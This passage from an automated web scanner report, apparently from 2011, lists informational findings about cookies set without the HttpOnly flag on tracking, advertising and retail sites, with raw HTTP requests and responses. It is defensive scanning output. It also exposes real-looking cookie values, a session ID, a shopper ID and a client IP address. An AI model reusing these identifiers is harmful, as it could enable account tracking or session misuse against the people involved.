__pcid=9GFPhk:1; Domain=.sendgrid.com; expires=Wed, 14 Mar 2012 15:26:40 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.33. http://livechat.iadvize.com/chat_init.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://livechat.iadvize.com
Path:	/chat_init.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

vuid=fc0d3bf4f99e190aeffd3c6b449e3ce04e736ab952c62; expires=Sun, 15-Sep-2013 15:26:50 GMT; path=/
1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A0%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A2%2C%22connectionTime%22%3A1316186809%2C%22navTime%22%3A1000%2C%22referrer_lastPage%22%3A%22http%3A%5C%2F%5C%2Fwww.mailjet.com%5C%2Ffeatures%5C%2Fsmtp-relay-service.html%3Fgclid%3DCKqV0feJoqsCFQdzgwod6j2wjw%22%2C%22timeElapsed%22%3A0.02%7D; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /chat_init.js?sid=1821 HTTP/1.1
Host: livechat.iadvize.com
Proxy-Connection: keep-alive
Referer: http://www.mailjet.com/features/smtp-relay-service.html?gclid=CKqV0feJoqsCFQdzgwod6j2wjw
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

11.34. http://livechat.iadvize.com/rpc/referrer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://livechat.iadvize.com
Path:	/rpc/referrer.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A0%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A1%2C%22connectionTime%22%3A1316186809%2C%22navTime%22%3A1000%2C%22origin_site%22%3A%22http%3A%5C%2F%5C%2Fwww.google.com%5C%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dsmtp+server%22%2C%22origin%22%3A%22search+engine%22%2C%22refengine%22%3A%22Google%22%2C%22refkeyword%22%3A%22smtp+server%22%7D; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /rpc/referrer.php?s=1821&get=http%3A%2F%2Fwww.google.com%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dsmtp%2Bserver&random=1316204846918 HTTP/1.1
Host: livechat.iadvize.com
Proxy-Connection: keep-alive
Referer: http://www.mailjet.com/features/smtp-relay-service.html?gclid=CKqV0feJoqsCFQdzgwod6j2wjw
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vuid=fc0d3bf4f99e190aeffd3c6b449e3ce04e736ab952c62; 1821vvc=1; 1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A0%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A1%2C%22connectionTime%22%3A1316186809%2C%22navTime%22%3A1000%7D; 1821_idz=Wlkt70s3xZ6riGI4fumNJq%2FupYB8lAU%2F73%2Frx%2BlKcWm%2BPxOTMJA9USWEgtoWccdSkDkxnLE7JXOsJw5mlMEkzorVTslVkO%2BKndGjVRzv9ddZiIASn0aiI417pqnen2C%2BPCawyns5jF7t%2BJ6yDefIW%2BIt7Q4Z

Response

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Fri, 16 Sep 2011 15:26:52 GMT
Content-Type: text/javascript; charset=utf-8
Connection: keep-alive
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache
P3P: policyref="http://livechat.iadvize.com/w3c/p3p.xml", CP="NID DSP NON COR"
Set-Cookie: 1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A0%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A1%2C%22connectionTime%22%3A1316186809%2C%22navTime%22%3A1000%2C%22origin_site%22%3A%22http%3A%5C%2F%5C%2Fwww.google.com%5C%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dsmtp+server%22%2C%22origin%22%3A%22search+engine%22%2C%22refengine%22%3A%22Google%22%2C%22refkeyword%22%3A%22smtp+server%22%7D; path=/
Vary: Accept-Encoding
Content-Length: 264

iAdvize.vStats['origin_site'] = 'http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp server';iAdvize.vStats['origin'] = 'search engine';iAdvize.vStats['refengine'] = 'Google';iAdvize.vStats['
...[SNIP]...

11.35. http://load.exelator.com/load/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://load.exelator.com
Path:	/load/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TFF=eJyVkjsOgzAMQO%252FCCWzziTELx%252BjKwFCpW7sh7t6EBhecUKVDFCt6L7ZlT0Ioy1OQpEJoRkIY%252B76napiEZLkLDv44An%252FBHq4Jj4GvDU%252FxHD2nWpnhb2guyFpJ7OLf821%252BTK%252F56m9raBdttmsP%252FeRt1xsf8mBaWdRKjZCJvAI1ZSrrHO98CFO%252BPef58Kc80XOqlRn%252Bzcyj42RytqYWcz2w7lQIU972oHnQeE61UmOfI2Tnnq%252FswBfncar9WxlxdiPBfXnO8HYjN%252F48G%252BbjRrLdyAtjfQNukQxI; expires=Sat, 14-Jan-2012 16:32:42 GMT; path=/; domain=.exelator.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.36. https://mya.godaddy.com/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/Default.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ShopperId1=icrggiheobkgocvhqhmjwbmindlamiea; domain=godaddy.com; expires=Thu, 16-Sep-2021 18:08:24 GMT; path=/
currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:24 GMT; path=/
traffic=cookies=1&referrer=&sitename=mya.godaddy.com&page=/Default.aspx&server=M1PWMYAWEB003&status=200 OK&querystring=idpinfo=none&myaurl=%2fdefault.aspx&ci=13025&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.37. https://mya.godaddy.com/myrenewals/myRenewals.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/myrenewals/myRenewals.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:09:07 GMT; path=/
traffic=cookies=1&referrer=https://idp.godaddy.com/login.aspx?ci=10530&spkey=GDSWNET-M1PWCORPWEB181&redirect=false&target=http%3a%2f%2fwww.godaddy.com%2foffers%2fhot-deals2.aspx&sitename=mya.godaddy.com&page=/myrenewals/myRenewals.aspx&server=M1PWMYAWEB003&status=200 OK&querystring=ci=11279&tab=products&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=4d9fa55d-454a-463a-ad89-702facb7913c&referringdomain=&split=45; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.38. http://p.brilig.com/contact/bct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://p.brilig.com
Path:	/contact/bct

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BriligContact=57372788-c194-43c5-a151-713a1d7fc584; Domain=.brilig.com; Expires=Sun, 08-Sep-2041 16:32:46 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.39. http://pixel.quantserve.com/seg/r previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.quantserve.com
Path:	/seg/r

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

d=EHoBGgHcB7vR0r2IHh2EsRA; expires=Thu, 15-Dec-2011 16:30:38 GMT; path=/; domain=.quantserve.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.40. http://pixel.rubiconproject.com/tap.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.rubiconproject.com
Path:	/tap.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rpb=7908%3D1%264940%3D1%267751%3D1%265364%3D1%267259%3D1%267249%3D1%265671%3D1%264210%3D1%267935%3D1%266073%3D1%267727%3D1%265852%3D1%266286%3D1%266643%3D1%264212%3D1%266432%3D1; expires=Sun, 16-Oct-2011 15:29:22 GMT; path=/; domain=.rubiconproject.com
rpx=7908%3D14600%2C0%2C1%2C%2C%264940%3D14649%2C0%2C1%2C%2C%265364%3D14653%2C3%2C2%2C%2C%267751%3D14656%2C0%2C1%2C%2C%264210%3D14656%2C86%2C2%2C%2C%267259%3D14658%2C0%2C1%2C%2C%267249%3D14658%2C0%2C1%2C%2C%266432%3D14740%2C219%2C8%2C%2C%265671%3D14742%2C0%2C1%2C%2C%264212%3D14742%2C154%2C2%2C%2C%267935%3D14742%2C0%2C1%2C%2C%266073%3D14742%2C0%2C1%2C%2C%267727%3D14742%2C0%2C1%2C%2C%265852%3D14742%2C0%2C1%2C%2C%266286%3D14843%2C0%2C1%2C%2C%266643%3D14894%2C0%2C1%2C%2C; expires=Sun, 16-Oct-2011 15:29:22 GMT; path=/; domain=.pixel.rubiconproject.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.41. http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://powermta1.com
Path:	/wp-content/plugins/cforms/styling/sidebar-layout.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

fc=fcVal=9017447923497088384; domain=powermta1.com; expires=Fri, 01-Jan-2038 07:00:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /wp-content/plugins/cforms/styling/sidebar-layout.css?f389a660 HTTP/1.1
Host: powermta1.com
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

11.42. http://rover.ebay.com/ar/1/711-53200-19255-108/1 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rover.ebay.com
Path:	/ar/1/711-53200-19255-108/1

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

npii=btrm/svid%3D646543881975054aa8f^cguid/62d7951f1320a479e7268c86ff361dd15054aa8f^; Domain=.ebay.com; Expires=Sat, 15-Sep-2012 16:19:27 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.43. http://s.amazon-cornerstone.com/iui3 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://s.amazon-cornerstone.com
Path:	/iui3

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ad-id=Ayy0HVI91kopvWsXdVMP4Ng; Domain=amazon-cornerstone.com; Expires=Thu, 01-Jan-2037 00:00:01 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.44. http://t.tellapart.com/hif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://t.tellapart.com
Path:	/hif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

tap=u55Faqj9eQjR2O84CPogQjfO0UMPAAEMAAAABAsAAQAAAAI5OQoAAwAAATJzE1qmAAsAAQAAAAI3NQoAAwAAATJzE1qmAAsAAQAAAAI3NAoAAwAAATJzE1qmAAsAAQAAAAMxMDUKAAMAAAEycxNapgAA; expires=Wed, 14-Mar-2012 16:30:40 GMT; Path=/; Domain=.tellapart.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /hif?p=vobmfNYCXJkpXrtb_UNRwyPDtCMLAAEAAAAQ8VfMRuCtWlGZKHGOFgAdYAsAAgAAABDBNWrL_D1gZ_QvSD7Ubh68CgADAAABMnMTUeAPAAQLAAAABAAAAAI5OQAAAAI3NQAAAAI3NAAAAAMxMDULAAUAAAAMZ01JVlhQT2pId09LAA==&tms=1316208686167 HTTP/1.1
Host: t.tellapart.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: drapt=ABJeb18jY0mSx9O1GhjWGagkBZ8cNX0k4oxPsv8LF9nJWKu12mbgkeBMt_o6CvAURFeGEBSF8UxpLeFjWV5Q2eOlAeV7yVQxxfhVQ6n7tXCCk-3AaAr-3DeDS9cBGOjMik-CONnHvyl4pD3SI4onQ1Vx5D2OKkZQcrsaYTa28GPXtJ-72-twAilquinwVbDX2VnkhBOx2C9B; __cmbGU=ABJeb1_3NV-wS9CA4xNFiv3ShLSU4iGgty4u6k9WHsPFv60ohMiFdyhiaxwr6ZVfLN137aUZJTCXZJufx_taXD_Nnqj8E6TcGg; AWSELB=E31F5987121C4E93C56CFAE300CB3FAA8458B8275ED54EFB1FBFC3259C68A4A477202DDBEDB9857088204A944F7B0E0B304C51662855C88DA4DD00256DCA9F810994CC9BEC

Response

11.45. http://t.tellapart.com/tpv previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://t.tellapart.com
Path:	/tpv

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

drapt=ABJeb1-OGLj4WPvpme0zBTQDHBR2ngUamtMs7GbygO59z7fXQOniCJ8DjeWZ8L9eYgAVK6hYK3p1tBNfX8Xmcx3xwQX_qgZHgGWzmqbFyg087KXDAfGZRSaIgDTBgVyOONjrkaJcuqQa2DYxgK6XBTR7LuHVTeCMVLKe36NAUdE36Dcb_E2NYoghvsg5T0ETAeX2LzcZMKlmy8WGiBSObQtOkAFDoGA3Tw; expires=Wed, 14-Mar-2012 16:32:47 GMT; Path=/; Domain=.tellapart.com
tap=f5bZJDN6To6TOJUrsLRvCLAoTUsPAAEMAAAABAsAAQAAAAI5OQoAAwAAATJzE1YSAAsAAQAAAAI3NQoAAwAAATJzE1YSAAsAAQAAAAI3NAoAAwAAATJzE1YSAAsAAQAAAAMxMDUKAAMAAAEycxNWEgAA; expires=Wed, 14-Mar-2012 16:32:47 GMT; Path=/; Domain=.tellapart.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.46. http://t5.trackalyzer.com/trackalyze.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://t5.trackalyzer.com
Path:	/trackalyze.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

loop=http%3A%2F%2Fwww%2Eblackbaud%2Ecom%2F; expires=Sat, 17-Sep-2011 07:00:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /trackalyze.asp?r=None&p=http%3A//www.blackbaud.com/&i=15983 HTTP/1.1
Host: t5.trackalyzer.com
Proxy-Connection: keep-alive
Referer: http://www.blackbaud.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: trackalyzer=283117088618558

Response

HTTP/1.1 302 Object moved
Date: Fri, 16 Sep 2011 15:28:51 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="http://trackalyzer.com/w3c/p3p.xml", CP="NON DSP COR CURa OUR NOR"
X-Powered-By: ASP.NET
Location: http://t5.trackalyzer.com/dot.gif
Content-Length: 154
Content-Type: text/html
Set-Cookie: loop=http%3A%2F%2Fwww%2Eblackbaud%2Ecom%2F; expires=Sat, 17-Sep-2011 07:00:00 GMT; path=/
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="http://t5.trackalyzer.com/dot.gif">here</a>.</body>

11.47. http://tags.bluekai.com/site/2731 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tags.bluekai.com
Path:	/site/2731

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bklc=4e7379ae; expires=Sun, 18-Sep-2011 16:30:38 GMT; path=/; domain=.bluekai.com
bk=eE0PtpKoj45Mq/0A; expires=Wed, 14-Mar-2012 16:30:38 GMT; path=/; domain=.bluekai.com
bkc=KJh5NWN/PaWDOdedKd1C1IwAOhVosVVZYHVVO/Uibv/w9N2asJvZY8kJ/k5YWHHJJSn69xV80vV6YjxxMu9uePGZrYiZL9yZulJHiX3WgcwKpclKzh5FCCIzzII8cIKsyLescZeAzg5M9xiHMI8qz0/wZYI6TEdj85QjFpzXRdijTjyXbDIqo/40oPF2XJyE9HjI9EIzngzK2gW3SR8UpQGOWtN9yb1nMQXpB7FDXBjvbVneB4lu7HKkph7KPux5v8eZI7EfLmjGBgYSSIcb8Abl4FqFGeE7vbIL9XTZn5pS7dezqniJpk9l80rU6P5faHMx4eGLlVuRX8De5ebERH+dsrvKaNvVzaV8Bmzg4XQa5GjLlvt/rI4ng31pN1lh0QwAfiDnQbL5ECYFUJXl7wyZ4E2QYh4Tow6osU2ACpEwglrmh+d2gTwmbbUgp8784nez47AbZ/8UdEBNxdoyMpEdv6dEptQC6nCT7BRfFoz2RoMgDU81IVBMyvWgnKuVOnrbP8gMkVdulifEKi5vs2l8taI0oOlb5cmIXZ+4rC2rAIt1nfPJFp6QwVrTFPvSI6Dl2T+r7kXl2TF05ffqPcX0mN64tdzEyizi6M0KXgD9fDzpNS08lud53gAdCIfELGDlZFL1ONwuJRSlsKqhkEduTG/cQEwQ2SNlfE41XzG55wIZPiy1/jlwlob911zga2wfWut01w0yyUwW11zgqT7uK6n2Xv/tHFzfrRs2H/I9qG8Uf3U8X3ZdEMto5dwjAfEdrMkKIEZ5ClXSsYIFX2hU/Llh0+wAq/3FMLDXN6SAmP88AKRqoFKkJafMKR2CMk4IuIr4UfUy+VpBzlKAYXrkj6rkbbAd5wwT0QX08l4FURPehcdNKsP9; expires=Wed, 14-Mar-2012 16:30:38 GMT; path=/; domain=.bluekai.com
bkou=KJhMRsOQRsq/pupQjE9N6e10NM1WRxmp5jUa4A9oOCSsp93LAQ9ge9F6; expires=Wed, 14-Mar-2012 16:30:38 GMT; path=/; domain=.bluekai.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.48. http://thefavicongallery.com/h/u/hugi.is.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://thefavicongallery.com
Path:	/h/u/hugi.is.ico

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

720plan=R1791018349; path=/; expires=Mon, 19-Sep-2011 06:15:46 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /h/u/hugi.is.ico HTTP/1.1
Host: thefavicongallery.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Set-Cookie: 720plan=R1791018349; path=/; expires=Mon, 19-Sep-2011 06:15:46 GMT
Date: Fri, 16 Sep 2011 17:55:09 GMT
Server: Apache/2.2.X (OVH)
Last-Modified: Tue, 06 Dec 2005 22:26:43 GMT
ETag: "3de590-37e-4074887ba0ec0"
Accept-Ranges: bytes
Content-Length: 894
Content-Type: image/vnd.microsoft.icon

..............h.......(....... ...................................................................................f..f..f..f..f..f..f..f..f..f..f..f..f..f........f..f..f..f..f..f..f..f..f..f..f..f..f.
...[SNIP]...

11.49. http://tracking.waterfrontmedia.com/GCScript.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tracking.waterfrontmedia.com
Path:	/GCScript.ashx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

GWFM=U=2ee636e8-ffbb-4707-83f7-1e5c10da5819&G=2ee636e8-ffbb-4707-83f7-1e5c10da5819&UTP=u%3d2ee636e8-ffbb-4707-83f7-1e5c10da5819%3b; expires=Wed, 16-Sep-2111 16:30:26 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /GCScript.ashx HTTP/1.1
Host: tracking.waterfrontmedia.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2256
Content-Type: text/javascript; charset=utf-8
Server: Microsoft-IIS/6.0
Server-ID: : USNJWWEB02
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: GWFM=U=2ee636e8-ffbb-4707-83f7-1e5c10da5819&G=2ee636e8-ffbb-4707-83f7-1e5c10da5819&UTP=u%3d2ee636e8-ffbb-4707-83f7-1e5c10da5819%3b; expires=Wed, 16-Sep-2111 16:30:26 GMT; path=/
Date: Fri, 16 Sep 2011 16:30:25 GMT

var utp='u=2ee636e8-ffbb-4707-83f7-1e5c10da5819;'; function addTrackingEvent(delegate) { if(document.addEventListener) { document.addEventListener('DOMContentLoaded', delegate, false); } else if(windo
...[SNIP]...

11.50. http://united-business-media-plc.production.investis.com/en/stylesheets/~/media/Images/U/United-Business-Media-Plc/Images/css/footer-link-sep.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://united-business-media-plc.production.investis.com
Path:	/en/stylesheets/~/media/Images/U/United-Business-Media-Plc/Images/css/footer-link-sep.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SERVERID=GS2-WEB01; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/stylesheets/~/media/Images/U/United-Business-Media-Plc/Images/css/footer-link-sep.jpg HTTP/1.1
Host: united-business-media-plc.production.investis.com
Proxy-Connection: keep-alive
Referer: http://media.ubm.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=604800
Content-Length: 546
Content-Type: image/jpeg
Expires: Fri, 23 Sep 2011 16:45:18 GMT
Last-Modified: Thu, 05 May 2011 09:03:14 GMT
X-Powered-By: ASP.NET
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Set-Cookie: ASP.NET_SessionId=mtw4xpyiiuuzjb3kbvrxb5v2; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:45:18 GMT
Connection: close
Set-Cookie: SERVERID=GS2-WEB01; path=/

......JFIF.....d.d......Ducky.......P.....&Adobe.d...........
............... ................................................

...................... .. . .....................................
...[SNIP]...

11.51. http://www.blackbaud.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.blackbaud.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ti=userid=&UserHandle=&UserPassword=&SupportSiteID=; expires=Mon, 16-Mar-2009 15:29:09 GMT; path=/
ti=userid=&UserHandle=&UserPassword=&SupportSiteID=; expires=Mon, 16-Mar-2009 15:29:09 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.blackbaud.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:29:09 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: SiteRootId=956; path=/
Set-Cookie: BlackbaudDownloads=; domain=.blackbaud.com; expires=Wed, 16-Sep-1981 15:29:09 GMT; path=/
Set-Cookie: _uservoice_sso=; domain=.blackbaud.com; expires=Wed, 16-Sep-1981 15:29:09 GMT; path=/
Set-Cookie: AdInfo=UID=; expires=Wed, 16-Sep-1981 15:29:09 GMT; path=/
Set-Cookie: UserInfo=; expires=Wed, 16-Sep-1981 15:29:09 GMT; path=/
Set-Cookie: ti=userid=&UserHandle=&UserPassword=&SupportSiteID=; expires=Mon, 16-Mar-2009 15:29:09 GMT; path=/
Set-Cookie: BlackbaudDownloads=; domain=.blackbaud.com; expires=Wed, 16-Sep-1981 15:29:09 GMT; path=/
Set-Cookie: _uservoice_sso=; domain=.blackbaud.com; expires=Wed, 16-Sep-1981 15:29:09 GMT; path=/
Set-Cookie: AdInfo=UID=; expires=Wed, 16-Sep-1981 15:29:09 GMT; path=/
Set-Cookie: UserInfo=; expires=Wed, 16-Sep-1981 15:29:09 GMT; path=/
Set-Cookie: ti=userid=&UserHandle=&UserPassword=&SupportSiteID=; expires=Mon, 16-Mar-2009 15:29:09 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 48853

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>
Blackbaud Fundraising Software: Nonprofit Accounting Software & Nonprofit Management System

...[SNIP]...

11.52. http://www.drugstore.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.drugstore.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:ndla3vftgeechv555qu43rz2; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/
BIGipServerdscm_farm=2316609728.0.0000; expires=Fri, 16-Sep-2011 17:30:25 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.53. http://www.drugstore.com/LookAheadSuggestions.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.drugstore.com
Path:	/LookAheadSuggestions.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

